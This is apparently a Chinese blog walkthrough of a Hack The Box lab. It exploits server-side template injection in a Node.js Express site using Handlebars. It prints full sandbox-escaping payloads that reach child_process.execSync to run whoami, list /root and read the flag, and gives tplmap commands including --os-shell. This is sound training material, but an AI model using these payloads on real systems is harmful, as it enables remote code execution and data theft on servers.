SSTI服务器模板注入漏洞

与任何漏洞一样,利用漏洞的第一步就是能够找到它

介绍

该靶场重点在于利用 Node.js 中的模板引擎 Handlebars 中识别的服务器端模板注入漏洞。本演练将演示当开发人员未正确清理用户输入时,如何在 Web 服务器中利用 SSTI。我们还将介绍 Node.js、模板引擎和全局变量的基础知识,以及如何使用可用的受限 Javascript 命令逃离虚拟环境。

举例

-v:增加详细级别,导致 Nmap 打印有关正在进行的扫描的更多信息。

第一步是使用 Nmap 扫描目标 IP 地址以检查打开的端口。

nmap -sC -sV -v 10.129.183.129

在这里插入图片描述

扫描显示端口22(SSH)打开,但是,我们暂时忽略它,因为我们没有凭据或密钥可用于进行身份验证。我们也看到80端口打开运行 HTTP node.js 服务器和使用Express框架。

http://10.129.183.129/

在这里插入图片描述

访问端口 80 后,我们会看到一个目前正在建设中的网页,以及使用电子邮件地址订阅有关该页面更新的选项。网页中的电子邮件订阅通常是一种选项,允许网络访问者通过电子邮件接收有关网站状态或拥有该网站的公司或个人的更新。

让我们提供一个测试电子邮件来验证我们是否有有效的应用程序。当给定要测试的应用程序时,请像打算使用它一样使用它。有时,开发人员将糟糕的代码作为快速解决方案,导致漏洞。让我们输入电子邮件pwninx@hackthebox.eu并单击提交。

pwninx@hackthebox.eu 

在这里插入图片描述

单击提交后,页面将刷新,并得到以下输出。

在这里插入图片描述

输出显示,在“电子邮件”字段中提交的任何输入都会在页面重新加载后反映回用户。这可能会引导我们思考各种潜在的利用向量,例如跨站点脚本(XSS),但是,我们首先需要知道网站在其后端使用哪些框架和编码语言。

在这种情况下,我们从端口 80 上的 Nmap 报告中对服务器后端有一个很好的概述,但是,我们也可以使用一个名为Wappalyzer 的有用扩展,它扫描网站并查找网页正在使用的信息,例如:

Web 框架 

JavaScript 框架 

Web 服务器

编程语言

小部件

还有更多...

要安装诸如Wappalyzer之类的附加组件,只需转到他们正在使用的浏览器的相应扩展存储(Chrome,Firefox等)。在端口 80 上安装并导航回 靶机 后,我们从附加组件获得以下输出。

在这里插入图片描述

Nmap和Wappalyzer都报告说,该服务器是在Node上构建的.js并且使用的是Express框架。

什么是node.js?
Node.js 是一个开源、跨平台的后端 JavaScript 运行时环境,可用于构建可扩展的网络应用程序。

什么是express?
Express 是一个最小且灵活的 Node.js Web 应用程序框架,为 Web 和移动应用程序提供了一组强大的功能。

记住这些信息后,我们就可以开始识别潜在的开发路径。使用默认有效负载验证 XSS 漏洞的各种尝试, 如

<script>alert(1)</script>

, 都失败了。出于这个原因,我们必须寻找不同的漏洞。

Node.js和Python Web后端服务器通常使用称为“模板引擎”的软件。

什么是模板引擎?

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

与所有软件一样,模板引擎也容易出现漏洞。我们今天将关注的漏洞称为服务器端模板注入(SSTI)。

什么是SSTI?
服务器端模板注入是一个漏洞,攻击者将恶意输入注入模板以在服务器上执行命令。

简而言之,SSTI是一种漏洞,攻击者将本机(模板引擎)代码注入网页。然后通过模板引擎运行代码,攻击者在受影响的服务器上获得代码执行。

这种攻击在 Node.js 网站上非常常见,并且很有可能使用模板引擎来反映用户在联系人字段中输入的电子邮件。

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

鉴定

为了利用潜在的SSTI漏洞,我们需要首先确认它的存在。在研究了Google上常见的SSTI有效负载之后,我们发现这篇Hacktricks【https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection】文章展示了各种不同模板引擎的利用技术。下图显示了如何识别是否存在 SSTI 漏洞以及如何找出正在使用的模板引擎。确定引擎后,可以设计更具体的有效负载以允许远程执行代码。

在这里插入图片描述

下面显示了模板表达式中常用的各种特殊字符。

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}

如果存在 SSTI,则在提交其中一个后,Web 服务器会将这些表达式检测为有效代码并尝试执行它们,在本例中按 7乘以7计算数学方程,等于 49。

接下来,我们要测试漏洞,我们尝试在电子邮件提交表单中输入

${7*7}

在这里插入图片描述

服务器没有执行表达式,只是将其反射回给我们。让我们继续讨论第二个有效负载 。

{{7*7}}

在这里插入图片描述

提交有效负载后,会弹出错误页面。

在这里插入图片描述

这意味着模板引擎确实检测到有效负载有效,但是代码存在一些错误并且无法执行。错误并不总是一件坏事。相反,对于渗透测试人员,它可以提供有价值的信息。在这种情况下,我们可以看到服务器从/root/Backend目录运行到Handlebars引擎模板

实战

回顾一下 Hacktricks文章,我们可以看到提到了 Handlebars 和 Node.js,以及可用于在 Handlebars SSTI 上运行命令的有效负载。

我们可以使用BP通过以下方式捕获 POST 请求并对其进行编辑,在email处添加有效载荷。

在这里插入图片描述

在我们修改请求之前,让我们通过按CTRL+R 将此 HTTP 数据包发送到 BurpSuite 的中继器模块。现在让我们从HackTricks网站中标题为“Handlebars (NodeJS)”获取部分有效负载。

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return require('child_process').exec('whoami');"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

上面的代码可能看起来很难理解,但对于这篇文章,我们的主要重点是下面这行。

{{this.push "return require('child_process').exec('whoami');"}}

此行指示服务器执行特定的系统命令(在本例中为whoami)。在本文的后面,我们将修改此行以在服务器上执行不同的命令。从 Hacktricks 复制完整的有效负载后,我们必须对其进行 URL 编码,以便将其正确传递到服务器。

URL编码

向 Web 服务器发出请求时,我们发送的数据只能包含标准 128 个ASCII 集中的某些字符。必须对不属于此集的保留字符进行编码。为此,我们使用url编码。

通过此过程,保留字符&变成%26。幸运的是,BurpSuite有一个模块decoder,这使我们能够使用各种不同的编码方法(包括 URL)解码或编码我们选择的文本。

让我们将上述有效负载粘贴到解码器的顶部窗格中,然后选择 encode as>URL。

在这里插入图片描述

复制底部窗格中的 URL 编码有效负载并将其粘贴到选项卡email=当中。我们将获得类似于下图的内容。

在这里插入图片描述

接下来,让我们尝试通过单击顶部的橙色“send”按钮来发送有效负载。

在这里插入图片描述

在这里插入图片描述

响应显示未定义状态的错误。查看有效负载,我们注意到以下代码。

{{this.push "return require('child_process').exec('whoami');"}}

这可能是有效负载出错的部分。require是Javascript中的关键字以及更多,特别是 Node.js用于从其他模块或文件加载代码。上面的代码试图将child_process模块加载到内存中并使用它来执行系统命令(在本例中为whoami)。

模板引擎通常是沙盒化的,这意味着它们的代码在有限的代码空间中运行,因此在运行恶意代码的情况下,将很难加载可以运行系统命令的模块。如果我们在目录不能直接使用require加载此类模块,我们将不得不找其它的方法。

全局

在计算机编程中,“globals”是在整个程序中全局可访问的变量。在 Node.js中同样有效,全局对象在所有加载的模块中都可用。谷歌搜索node.js Global Scope使用关键字将显示此文档,其中详细介绍了所有可用的node.js中的全局对象。值得注意的是,该文档还展示了一个变量列表,这些变量看似是全局对象,但实际上是内置对象。这些如下:

__dirname
__filename
exports
module
require()

从列表中可以看出,require实际上不在global scope内,因此在特定情况下,它可能不易于访问。仔细查看文档,我们发现有一个可用的过程对象。文档指出,此对象提供有关当前 Node.js 进程的信息和控制。我们也许可以使用这个对象来加载模块。让我们看看我们是否可以从 SSTI 调用它。按如下方式修改有效负载:

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return process;"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

如前所示对有效负载进行 URL 编码,并使用 BurpSuite intruder模块发送它。

在这里插入图片描述

响应不包含错误,我们可以看到[object process]已被包括在内,意味着[object process]是有效的。

仔细查看process object的文档,我们看到它有一个mainModule 属性,该属性自 Node.js 版本 14.0.0 以来已被弃用,但是,弃用并不一定意味着没用。使用关键字Node.js mainModule进行Google搜索,详细说明了此属性的使用情况。

具体来说,它提到此属性返回一个包含主模块引用的对象。因为主模块在沙盒环境中运行,我们也许可以使用mainModule属性来直接加载主函数,由于主函数很可能没有沙盒化,因此从主模块那里加载requier。让我们再次修改我们的有效负载,看看mainModule 是否可以访问。

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return process.mainModule;"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

URL 对有效负载进行编码,并使用中继器模块发送它,如前所示。返回以下响应:

在这里插入图片描述

这次也没有错误,我们在响应的末尾看到一个额外的对象,这意味着该属性是确实可用的。现在让我们尝试调用require和加载模块。我们可以加载child_process模块,因为它在默认 Node.js 安装中可用,可用于执行系统命令。修改有效负载,如下所示:

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return process.mainModule.require('child_process');"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

在 URL 编码并发送有效负载后,我们从服务器收到以下响应:

在这里插入图片描述

require对象已成功调用,并且child_process模块已加载。让我们现在尝试运行系统命令。

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return
process.mainModule.require('child_process').execSync('whoami');"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

我们需要再次对上述有效负载进行 URL 编码。

在这里插入图片描述

复制底部窗格中的有效负载,然后再次将其粘贴到email=字段中,替换上一个有效负载。

在这里插入图片描述

现在单击“发送”按钮

在这里插入图片描述

下面这个url加密是直接放到网页里面的加密,之前一直不行,是url加密过去,服务器后台解不了密,而导致返回400或者不输出结果

在这里插入图片描述

后面我有去尝试,发现不管是在那个网站上面url加密完,然后重放,服务器都识别不了,直接在网站的输入框里面放就可以了

在响应中,我们看到whoami命令的输出是root。这意味着我们有在盒子上成功运行系统命令,以及 Web 服务器在root用户的下运行。现在,我们可以采取以下两种方式之一。我们可以在受影响的系统上获得反向shell,或者直接抓住旗帜。在这篇文章中,我们将关注后者。

我们知道该flag很可能位于/root当中,但我们也可以验证这一点。让我们改变我们的命令whoami变成ls /root 去列出root目录中的所有文件和文件夹。

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return
process.mainModule.require('child_process').execSync('ls /root');"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

URL 对有效负载进行编码并按前面所示发送。在响应中,我们看到以下内容。

在这里插入图片描述

flag确实在,被称为flag.txt。让我们修改我们的有效负载以读取它。

{{#with "s" as |string|}}
 {{#with "e"}}
 {{#with split as |conslist|}}
 {{this.pop}}
 {{this.push (lookup string.sub "constructor")}}
 {{this.pop}}
 {{#with string.split as |codelist|}}
 {{this.pop}}
 {{this.push "return
process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}}
 {{this.pop}}
 {{#each conslist}}
 {{#with (string.sub.apply 0 codelist)}}
 {{this}}
 {{/with}}
 {{/each}}
 {{/with}}
 {{/with}}
 {{/with}}
{{/with}}

该flag显示在服务器响应中,可以复制并粘贴到Hack The Box平台。

在这里插入图片描述

6b258d726d287462d60c103d0142a81c

tplmap工具

这里推荐自动化工具tplmap,拿shell、执行命令、bind_shell、反弹shell、上传下载文件,Tplmap为SSTI的利用提供了很大的便利

github地址:https://github.com/epinna/tplmap

安装文件参考:https://www.cnblogs.com/ktsm/p/15691652.html

命令参考:

python2 tplmap.py -u 'http://10.129.196.98/?email=1*'

只支持python2,命令执行要在工具的目录下面,还可以使用–level=5这个命令,全面测试它

python2 tplmap.py -u 'http://10.129.196.98/?email=1*' --os-shell

在这里插入图片描述
建立连接超时,没有检测出来

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值